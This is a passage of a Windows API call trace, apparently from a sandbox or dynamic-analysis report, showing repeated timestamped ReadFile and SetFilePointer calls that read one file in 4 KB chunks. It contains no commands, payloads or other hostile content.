nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.074] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x4000 [0115.074] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.075] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x5000 [0115.075] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.075] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x6000 [0115.075] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.076] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x7000 [0115.076] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.076] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x8000 [0115.076] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.077] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x9000 [0115.077] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.078] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xa000 [0115.078] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.078] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xb000 [0115.078] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.079] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xc000 [0115.079] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.079] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xd000 [0115.079] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.080] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xe000 [0115.080] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.080] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0xf000 [0115.080] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.081] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x10000 [0115.081] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.081] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x11000 [0115.081] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.083] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x12000 [0115.083] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.083] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x13000 [0115.083] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.083] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x14000 [0115.084] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.084] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x15000 [0115.084] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.084] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x16000 [0115.084] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.085] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x17000 [0115.085] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.085] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x18000 [0115.087] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.087] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x19000 [0115.087] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.088] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1a000 [0115.088] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.092] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1b000 [0115.092] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.092] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1c000 [0115.092] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.093] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1d000 [0115.093] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.093] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1e000 [0115.093] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.093] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x1f000 [0115.093] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.094] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x20000 [0115.094] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.094] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x21000 [0115.094] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.095] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x22000 [0115.096] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.096] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x23000 [0115.096] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.096] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x24000 [0115.097] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.097] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x25000 [0115.097] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.097] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x26000 [0115.097] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.098] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x27000 [0115.098] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.098] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x28000 [0115.098] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.098] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x29000 [0115.099] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.100] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2a000 [0115.100] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.100] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2b000 [0115.100] ReadFile (in: hFile=0x3f8, lpBuffer=0x241b7f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x241b7f0*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.244] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2c000 [0115.244] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.245] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2d000 [0115.245] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.245] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2e000 [0115.245] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.245] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x2f000 [0115.245] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.246] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x30000 [0115.246] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.246] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x31000 [0115.246] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.247] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x32000 [0115.247] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.247] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x33000 [0115.247] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.247] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x34000 [0115.247] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.248] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x35000 [0115.248] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.248] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x36000 [0115.248] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.249] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x37000 [0115.249] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.249] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x38000 [0115.249] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.249] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x39000 [0115.249] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.249] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3a000 [0115.250] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.250] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3b000 [0115.250] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 | out: lpBuffer=0x21f50b4*, lpNumberOfBytesRead=0x59ed98c*=0x1000, lpOverlapped=0x0) returned 1 [0115.250] SetFilePointer (in: hFile=0x3f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x59ed960*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x59ed960*=0) returned 0x3c000 [0115.250] ReadFile (in: hFile=0x3f8, lpBuffer=0x21f50b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x59ed98c, lpOverlapped=0x0 